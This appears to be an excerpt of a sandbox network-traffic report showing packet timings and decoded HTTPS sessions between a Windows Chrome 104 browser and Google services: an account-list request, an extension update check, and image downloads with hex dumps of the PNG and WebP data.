Feb 8, 2023 00:07:45.526216030 CET	64159	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:07:45.526737928 CET	64159	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:07:45.526895046 CET	64159	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:07:45.547656059 CET	443	64159	142.250.184.100	192.168.2.4
Feb 8, 2023 00:07:45.550220966 CET	64159	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:07:45.573349953 CET	443	64159	142.250.184.100	192.168.2.4
Feb 8, 2023 00:07:45.604188919 CET	443	64159	142.250.184.100	192.168.2.4
Feb 8, 2023 00:07:45.604250908 CET	443	64159	142.250.184.100	192.168.2.4
Feb 8, 2023 00:07:45.604295015 CET	443	64159	142.250.184.100	192.168.2.4
Feb 8, 2023 00:07:45.604331970 CET	443	64159	142.250.184.100	192.168.2.4
Feb 8, 2023 00:07:45.609499931 CET	64159	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:07:45.609499931 CET	64159	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:07:45.637104034 CET	64159	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:07:45.656389952 CET	443	64159	142.250.184.100	192.168.2.4
Feb 8, 2023 00:07:47.819092989 CET	59182	53	192.168.2.4	8.8.8.8
Feb 8, 2023 00:07:47.840794086 CET	53	59182	8.8.8.8	192.168.2.4

Timestamp	kBytes transferred	Direction	Data
2023-02-07 23:05:48 UTC	0	OUT	POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1 Host: accounts.google.com Connection: keep-alive Content-Length: 1 Origin: https://www.google.com Content-Type: application/x-www-form-urlencoded Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2023-02-07 23:05:48 UTC	0	OUT	Data Raw: 20 Data Ascii:
2023-02-07 23:05:48 UTC	3	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Access-Control-Allow-Origin: https://www.google.com Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 07 Feb 2023 23:05:48 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Report-To: {"group":"IdentityListAccountsHttp","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/IdentityListAccountsHttp/external"}]} Content-Security-Policy: script-src 'report-sample' 'nonce-X6TgoB4HedwADkh8UB0-UQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/IdentityListAccountsHttp/cspreport Cross-Origin-Opener-Policy: same-origin; report-to="IdentityListAccountsHttp" Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-platform=, ch-ua-platform-version= Server: ESF X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2023-02-07 23:05:48 UTC	5	IN	Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a Data Ascii: 11["gaia.l.a.r",[]]
2023-02-07 23:05:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	kBytes transferred	Direction	Data
2023-02-07 23:05:48 UTC	0	OUT	GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=104.0.5112.81&lang=en-GB&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1 Host: clients2.google.com Connection: keep-alive X-Goog-Update-Interactivity: fg X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda X-Goog-Update-Updater: chromecrx-104.0.5112.81 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2023-02-07 23:05:48 UTC	1	IN	HTTP/1.1 200 OK Content-Security-Policy: script-src 'report-sample' 'nonce-X6xbHDL_icnnDAl3Wz9QyQ' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 07 Feb 2023 23:05:48 GMT Content-Type: text/xml; charset=UTF-8 X-Daynum: 5881 X-Daystart: 54348 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2023-02-07 23:05:48 UTC	2	IN	Data Raw: 32 63 39 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 35 38 38 31 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 35 34 33 34 38 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 6e 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 Data Ascii: 2c9<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" protocol="2.0" server="prod"><daystart elapsed_days="5881" elapsed_seconds="54348"/><app appid="nmmhkkegccagdldgiimedpiccmgmieda" cohort="1::" cohortname=""
2023-02-07 23:05:48 UTC	3	IN	Data Raw: 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 5f 73 68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 74 65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 2f 67 75 70 64 61 74 65 3e 0d 0a Data Ascii: 723f56b8717175c536685c5450122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" protected="0" size="248531" status="ok" version="1.0.0.6"/></app></gupdate>
2023-02-07 23:05:48 UTC	3	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	kBytes transferred	Direction	Data
2023-02-07 23:05:53 UTC	210	OUT	GET /images/branding/googlelogo/1x/googlelogo_color_272x92dp.png HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104" sec-ch-ua-full-version-list: "Chromium";v="104.0.5112.81", " Not A;Brand";v="99.0.0.0", "Google Chrome";v="104.0.5112.81" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "104.0.5112.81" sec-ch-ua-platform-version: "6.0.0" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-model: sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJW2yQEIo7bJAQjEtskBCKmdygEI6PPKAQiTocsBCOeyzAEIubTMAQiQvMwBCPe8zAEI9MDMAQibwcwBCLLBzAEIxcHMAQjWwcwBCNzEzAEI38TMAQjWxswBCJ3JzAEI4svMAQ== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: CONSENT=PENDING+292; AEC=ARSKqsJUlWoTNsCCecgpMY_CPZIClpEyONZXUhRXFzMl4ZzehGsUYHncfWs; __Secure-ENID=10.SE=na6gy5kgU1KjnI1902RtEr_Iur7hqz1pFvLJN9UjzmV17gBPKwCSqxKJPZx7H6wpQqnuaT-eVA_-aGuexcyS1QhEIRrV7mp9gvn-UFbzdi8xcweqguX9ekEzdAzdo69TD6eiDup3NPvrct1bB5okXC4wapX9mJ_HULrwd8d_UIg
2023-02-07 23:05:54 UTC	215	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Type: image/png Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 5969 Date: Tue, 07 Feb 2023 23:05:54 GMT Expires: Tue, 07 Feb 2023 23:05:54 GMT Cache-Control: private, max-age=31536000 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-02-07 23:05:54 UTC	216	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 10 00 00 00 5c 08 06 00 00 00 a6 e7 ea b6 00 00 17 18 49 44 41 54 78 01 ed 5d 0b 94 1c 55 99 be 3a d3 81 c0 2e 82 c2 2a 82 08 12 10 90 05 92 aa 9a 84 90 d8 5d b7 7b b2 41 e2 41 81 28 b8 bb 0a 08 8a 1b 5c 84 98 05 e5 31 9a ae 9a 09 89 c0 02 0a 41 40 36 e1 81 06 17 10 1f 90 cc 24 01 f4 08 28 c8 43 58 58 7c 10 1e 64 fa 11 92 49 55 75 1e 99 64 7a ef b7 e6 b8 a4 b7 67 e6 bf d5 75 bb aa 87 fb 9d 73 4f e7 31 d3 d3 67 ea d6 57 ff fd ff ef ff 7e 16 07 66 76 ad db 2b ed 54 4c ee 7a a7 71 d7 9f 63 bb c1 65 b6 eb 3b dc f1 7b c4 df e7 8b bf 5f 22 d6 b9 d9 ee 60 56 da f5 8f 4e 77 55 77 67 1a 1a 1a ef 4c a4 7b 36 1f cc 9d ca 79 dc 0d ee b2 5d ff cf e2 b5 2a b3 32 79 6f bb 78 7d 5e 7c ef cd dc f5 ff 29 dd e5 ed cb Data Ascii: PNGIHDR\IDATx]U:.]{AA(\1A@6$(CXX\|dIUudzgusO1gW~fv+TLzqce;{_"`VNwUwgL{6y]2yox}^\|)
2023-02-07 23:05:54 UTC	217	IN	Data Raw: 98 8c 1b 6c 0c 29 f2 7a c1 ce fb 67 88 5e 96 76 16 21 10 9d d8 ae ff 2d ee 06 be 26 0f 0d 4d 20 09 45 67 97 ff 77 c8 4b 84 20 0f 9f 3b fe d7 40 1c 71 69 50 34 79 68 68 02 89 11 b3 97 55 db 6c 37 58 2d 1f 75 f8 bf ce 2d d8 74 50 93 8f 58 9f 15 44 e2 69 f2 d0 d0 04 92 10 70 27 b8 54 3e 59 19 5c 6f dc 54 4d b1 18 90 ed de 78 78 26 1f fc b7 26 0f 0d 4d 20 09 c8 7b f0 bc b7 4d 2a 51 ea 04 df 40 a2 93 c5 08 b4 f9 c3 43 84 69 68 68 02 89 07 5d 5d d5 77 73 d7 7f 4c 92 3c e6 31 0d 0d 0d 4d 20 82 0c 3e 2f 79 6c b9 86 1e 79 68 68 8c 59 68 02 99 79 ed d0 6e dc f5 d6 48 94 69 57 21 d9 ca 34 34 34 34 81 70 27 38 47 82 3c d6 a1 8c ca 34 34 34 34 81 20 f7 21 d3 24 27 92 95 5f 60 80 86 86 86 26 10 f4 ba c8 68 3d 40 38 0c d0 d0 d0 d0 04 c2 f3 c1 9d 54 02 41 6f 0c 03 34 34 Data Ascii: l)zg^v!-&M EgwK ;@qiP4yhhUl7X-u-tPXDip'T>Y\oTMxx&&M {M*Q@Cihh]]wsL<1M >/ylyhhYhynHiW!4444p'8G<4444 !$'_`&h=@8TAo44
2023-02-07 23:05:54 UTC	218	IN	Data Raw: 7d b3 f7 a6 9e 44 de 62 a8 6f fc 01 75 df 77 f5 f8 03 c5 fb 7e 45 24 48 9f 96 7d 6f 7c 1e 7c 2e ba 57 8d bf 58 9e 34 bc 57 71 4c 87 e5 65 3d 05 35 46 8d 70 d7 9f 8b d1 23 49 24 10 ec 8d 10 e4 f1 b8 d8 4f 9f 7d 6d ca 94 f1 c3 ed 65 1c 4d 20 2a a3 bf a7 b9 6c 98 9b d6 5b 42 9c ed 72 f3 d8 27 90 ca b0 09 3e 30 b8 5c e8 67 bd 56 e0 1d 9f 82 d0 87 2c 08 ca 9a a7 a2 da 22 75 94 b1 cd ab 68 15 97 d4 35 92 79 8a 57 07 fb c6 7d b2 5a a5 7d 7e 7c 9d f8 fa 4f 0b 52 78 5d 92 48 ae a3 89 1d bd b4 e4 30 b1 0a 26 03 50 3d 7a f1 75 20 12 4c 45 4c 0a 81 40 22 50 b0 8d 8d f4 bd 60 bc 55 b2 8d 33 a8 7b ee 95 74 7a 77 99 72 70 d1 ee 98 51 27 02 f1 bf 4f 22 90 7c 70 f7 98 3f c2 e4 fd 8b ea 32 76 6e f2 91 82 10 76 48 d4 d2 1f 1c 98 36 6d 1f 16 02 d0 7b 40 90 26 75 46 b5 cd 8f Data Ascii: }Dbouw~E$H}o\|\|.WX4WqLe=5Fp#I$O}meM *l[Br'>0\gV,"uh5yW}Z}~\|ORx]H0&P=zu LEL@"P`U3{tzwrpQ'O"\|p?2vnvH6m{@&uF
2023-02-07 23:05:54 UTC	219	IN	Data Raw: f5 bf 4d dc 84 e7 ff 7f 02 31 1f a2 fc e2 09 2c dd 10 d0 d3 10 22 17 83 dc c3 43 94 1b 57 a5 63 37 50 5d c6 c6 11 73 31 bd 35 5e 35 0e 31 2a b6 99 42 a0 8d a3 99 04 42 f1 d3 fd df 48 c3 b6 9e 8b e8 98 f2 78 31 db f1 79 ec 33 e5 4f 6a 2c 34 1e 21 5f d0 22 d3 f6 fe 48 d4 b9 1c c5 6a 00 67 6b 12 81 28 be 01 a1 6c 25 36 ee f5 d5 10 48 1f a5 fa c1 00 b5 04 d2 46 ec d0 5d 55 53 c2 ed a1 3d d0 bc 8f 2b ce a1 dd d8 4c 02 69 8e 69 90 b1 b9 c0 ad 5b cb f6 64 23 42 1d 46 f0 a8 84 f0 ea 0a 96 70 50 33 e8 b0 fc 47 ae a4 ce 93 e0 7e 92 b0 06 e5 53 85 40 7f 0c b1 57 e1 be 9a 23 cc fd a4 23 cc 72 b6 27 53 08 94 67 89 1e 21 3f af 89 8a bb 88 e5 f7 4f 30 85 40 29 b7 99 04 a2 d0 fb 03 e5 fe 97 e1 34 06 ad 49 ac f3 61 20 b0 81 ad 5c a2 93 a7 f0 7e a0 85 c0 0b eb 37 19 99 4b Data Ascii: M1,"CWc7P]s15^51*BBHx1y3Oj,4!_"Hjgk(l%6HF]US=+Lii[d#BFpP3G~S@W##r'Sg!?O0@)4Ia \~7K
2023-02-07 23:05:54 UTC	220	IN	Data Raw: 6f 1a 8c 7c 60 1f 87 23 09 a2 15 7b fe c6 8f c2 62 00 ed dc 08 5f 6d 37 e8 a5 90 06 e1 58 75 19 0b 89 f2 0c e3 08 59 1b b8 9d b3 4c 2f 1f ed c9 80 6e 5b b8 4b 89 e8 65 83 24 79 6c a1 fa b0 62 74 82 c8 33 6c 95 9c 44 f7 96 20 92 4b 05 31 8c 78 14 85 21 32 44 6b 82 a4 36 48 be ff 56 7c 2e 46 00 72 21 3c 1f bc 28 97 d4 f7 36 71 c7 5b 84 07 e0 68 09 78 4c 27 c0 d7 27 6f b0 94 75 a6 6c 49 17 ba 21 e4 ee f0 60 19 6d 4f 8b 7d 77 9d cc be 46 34 22 88 ea e4 d0 02 2d 0c d9 4e d2 4c d2 66 f6 ee 14 b9 71 7e 58 7f 85 9d de aa d7 c3 a4 08 79 12 bc 62 a8 0f bc 1f 6a 4a 76 e4 85 44 9b a4 a0 eb fc 90 23 2d 77 88 2a c9 e3 f0 37 85 49 11 26 d5 e1 55 fc db f5 f0 32 c5 b1 27 cc fb 22 4f c2 24 00 4f de 5a 8f 52 99 92 3d 77 82 1b e0 bc 0f e9 bb ed fa 17 72 37 b8 16 ed 0e 82 38 Data Ascii: o\|`#{b_m7XuYL/n[Ke$ylbt3lD K1x!2Dk6HV\|.Fr!<(6q[hxL''oulI!`mO}wF4"-NLfq~XybjJvD#-w*7I&U2'"O$OZR=wr78
2023-02-07 23:05:54 UTC	222	IN	Data Raw: 88 6c 08 f9 8f 9f 32 0d 0d 8d e4 02 be 1d 44 bd d0 66 c8 02 58 83 80 65 45 26 1f bc 40 9c cb fb cf 4c 43 43 23 b9 c8 cd df 78 18 55 78 88 a6 ce 46 a6 f5 43 a4 08 07 3c a2 c8 71 c3 ac ae ea 1e 4c 43 43 23 d9 c8 b8 fe 8d 52 ad 0e 21 3a b2 31 dd 4e c6 71 cf 76 7c 97 b5 06 34 34 74 d5 05 25 55 c9 41 67 2f 62 38 14 a2 8a 91 7a b6 e0 cb 8b 31 24 e8 e8 96 e8 9b 19 c0 67 62 ad 01 0d 0d 0d 48 d1 c3 fa 7a 88 1b fe 51 db f1 17 db ae ef 20 72 40 44 c3 1d 6f 79 b8 c6 3b 2c 7f 0e 6b 2d 68 68 68 80 00 e2 36 ad 42 8e 04 22 33 d6 8a d0 d0 d0 ca 53 6f 69 5c e4 81 ee 5e 0c ba 62 1a 1a 1a 49 05 61 6a 7e 3e b8 bd e9 e4 81 b9 cf dd 1b 0f 67 ad 0f 0d 0d 1d 89 20 97 d1 44 02 79 89 60 d2 dd 4a d0 d0 d0 c0 d8 0e 38 89 a9 3d b6 04 77 2a 73 be d3 d0 d0 88 df 30 88 3b c1 75 51 3b b4 Data Ascii: l2DfXeE&@LCC#xUxFC<qLCC#R!:1Nqv\|44t%UAg/b8z1$gbHzQ r@Doy;,k-hhh6B"3Soi\^bIaj~>g Dy`J8=w*s0;uQ;

Timestamp	kBytes transferred	Direction	Data
2023-02-07 23:05:53 UTC	211	OUT	GET /images/hpp/swg-gshield-42px.png HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104" sec-ch-ua-full-version-list: "Chromium";v="104.0.5112.81", " Not A;Brand";v="99.0.0.0", "Google Chrome";v="104.0.5112.81" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "104.0.5112.81" sec-ch-ua-platform-version: "6.0.0" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-model: sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJW2yQEIo7bJAQjEtskBCKmdygEI6PPKAQiTocsBCOeyzAEIubTMAQiQvMwBCPe8zAEI9MDMAQibwcwBCLLBzAEIxcHMAQjWwcwBCNzEzAEI38TMAQjWxswBCJ3JzAEI4svMAQ== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: CONSENT=PENDING+292; AEC=ARSKqsJUlWoTNsCCecgpMY_CPZIClpEyONZXUhRXFzMl4ZzehGsUYHncfWs; __Secure-ENID=10.SE=na6gy5kgU1KjnI1902RtEr_Iur7hqz1pFvLJN9UjzmV17gBPKwCSqxKJPZx7H6wpQqnuaT-eVA_-aGuexcyS1QhEIRrV7mp9gvn-UFbzdi8xcweqguX9ekEzdAzdo69TD6eiDup3NPvrct1bB5okXC4wapX9mJ_HULrwd8d_UIg
2023-02-07 23:05:54 UTC	222	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Type: image/png Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 680 Date: Tue, 07 Feb 2023 23:05:54 GMT Expires: Tue, 07 Feb 2023 23:05:54 GMT Cache-Control: private, max-age=31536000 Last-Modified: Tue, 05 Apr 2022 08:00:00 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-02-07 23:05:54 UTC	223	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 2a 00 00 00 2a 08 03 00 00 00 f2 1d 39 69 00 00 00 c3 50 4c 54 45 ff ff ff 19 61 c8 19 61 c7 19 67 d2 19 67 d2 18 5f c4 18 5d c1 18 5a bc 19 67 d2 19 67 d2 19 67 d2 18 5f c5 18 5e c2 18 5b bd 19 67 d2 19 67 d2 19 67 d2 18 60 c6 18 5e c3 18 5b be 19 67 d2 19 67 d2 19 67 d2 18 60 c6 18 5f c4 18 5c bf 19 67 d2 19 67 d2 19 67 d2 18 60 c7 18 5e c3 19 67 d2 6e 99 d9 be d3 f3 cf e0 fa d2 e3 fc e8 f0 fe dc e8 fb a8 c6 f0 67 9b e3 26 70 d5 46 7c cb cb dd f9 cf df f9 5a 92 e0 5b 8b d2 d3 e3 fc 33 78 d8 30 6b c4 d2 e2 fb b5 ce f3 c5 d9 f6 74 a3 e5 9d bb e8 a9 c4 ed 7f a5 de 8e b4 eb 18 60 c5 b4 cc f0 8f b0 e4 c2 d7 f6 40 81 da 9b bd ee 18 5d c0 19 67 d2 ba 46 e2 82 00 00 00 41 74 52 4e 53 00 1b 64 40 10 9c e7 Data Ascii: PNGIHDR**9iPLTEaagg_]Zggg_^[ggg`^[ggg`_\ggg`^gng&pF\|Z[3x0kt`@]gFAtRNSd@
2023-02-07 23:05:54 UTC	223	IN	Data Raw: 45 3a 7b ae 00 f8 ef 63 19 f1 81 09 10 57 2f 11 7d f3 57 86 88 d6 09 57 93 a7 d6 56 11 ff 82 ec f3 58 a3 c2 d3 6a 90 78 96 49 b8 69 b2 48 04 65 2a 4e 5a e5 24 ff 0f d6 d7 25 65 2d 5a 20 8a 2e 39 8d e6 03 44 5d 33 41 21 d9 22 ff d4 07 52 27 3d f6 0f e7 be 79 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: E:{cW/}WWVXjxIiHe*NZ$%e-Z .9D]3A!"R'=yIENDB`

Timestamp	kBytes transferred	Direction	Data
2023-02-07 23:05:53 UTC	213	OUT	GET /images/searchbox/desktop_searchbox_sprites318_hr.webp HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104" sec-ch-ua-full-version-list: "Chromium";v="104.0.5112.81", " Not A;Brand";v="99.0.0.0", "Google Chrome";v="104.0.5112.81" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "104.0.5112.81" sec-ch-ua-platform-version: "6.0.0" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-model: sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJW2yQEIo7bJAQjEtskBCKmdygEI6PPKAQiTocsBCOeyzAEIubTMAQiQvMwBCPe8zAEI9MDMAQibwcwBCLLBzAEIxcHMAQjWwcwBCNzEzAEI38TMAQjWxswBCJ3JzAEI4svMAQ== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: CONSENT=PENDING+292; AEC=ARSKqsJUlWoTNsCCecgpMY_CPZIClpEyONZXUhRXFzMl4ZzehGsUYHncfWs; __Secure-ENID=10.SE=na6gy5kgU1KjnI1902RtEr_Iur7hqz1pFvLJN9UjzmV17gBPKwCSqxKJPZx7H6wpQqnuaT-eVA_-aGuexcyS1QhEIRrV7mp9gvn-UFbzdi8xcweqguX9ekEzdAzdo69TD6eiDup3NPvrct1bB5okXC4wapX9mJ_HULrwd8d_UIg
2023-02-07 23:05:54 UTC	223	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Type: image/webp Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 660 Date: Tue, 07 Feb 2023 23:05:54 GMT Expires: Tue, 07 Feb 2023 23:05:54 GMT Cache-Control: private, max-age=31536000 Last-Modified: Wed, 22 Apr 2020 22:00:00 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-02-07 23:05:54 UTC	224	IN	Data Raw: 52 49 46 46 8c 02 00 00 57 45 42 50 56 50 38 4c 80 02 00 00 2f 27 c0 1e 10 d5 48 76 b6 3d 6e 95 fb bf 0a bb 07 b8 51 ea d8 9f 99 61 e5 e8 28 52 76 0c 6f ab da 55 98 1c c6 fe ea 8a 99 6c 18 b6 6d 1b a6 ff 1f dc da f4 06 30 6c db 36 6c ae ed 66 da 0c b1 ed 09 a4 90 41 3f 42 08 43 98 41 19 94 c1 32 68 06 9d 41 67 30 84 10 0e e1 47 38 07 6e 23 29 52 ba 6a f1 78 a0 e6 be 50 9e 46 e5 ce 49 3b cc 4f 78 a1 e7 c7 cf f5 1c 37 2d f7 c8 cf 62 58 9e 2f eb c0 5d c5 88 96 af 33 cb b8 1c 54 80 ab 93 e1 a2 35 b7 ba 01 78 ee ac da f6 47 2e 43 09 aa 19 e0 b7 25 e2 75 03 8e 19 f9 14 75 2f 97 5f b4 3d f0 b2 94 98 bc 10 3c 21 71 06 5c 86 f8 07 39 02 f7 de b2 c2 15 5c f7 a6 1a 07 70 3a 14 bc 50 f8 34 1f 61 53 00 4e 29 9c 3e b0 3e 18 ae 22 06 db 83 39 99 e0 56 68 20 a7 aa d0 80 Data Ascii: RIFFWEBPVP8L/'Hv=nQa(RvoUlm0l6lfA?BCA2hAg0G8n#)RjxPFI;Ox7-bX/]3T5xG.C%uu/_=<!q\9\p:P4aSN)>>"9Vh
2023-02-07 23:05:54 UTC	224	IN	Data Raw: 67 d7 f6 25 ed f7 1a 3b 0c 5b 52 3e 4e 12 23 dc 57 c2 65 8f e2 40 71 07 08 1e 28 e6 10 c1 ef 5d 26 7f 02 0d 1d 96 e2 4b 99 03 b9 bf 9a ed c8 3f af 7c 07 7a 10 1e 28 df 11 e5 3a 26 6d 01 56 ce 43 e7 27 c6 9f c0 0f 44 5e e3 52 9e bb aa 00 Data Ascii: g%;[R>N#We@q(]&K?\|z(:&mVC'D^R

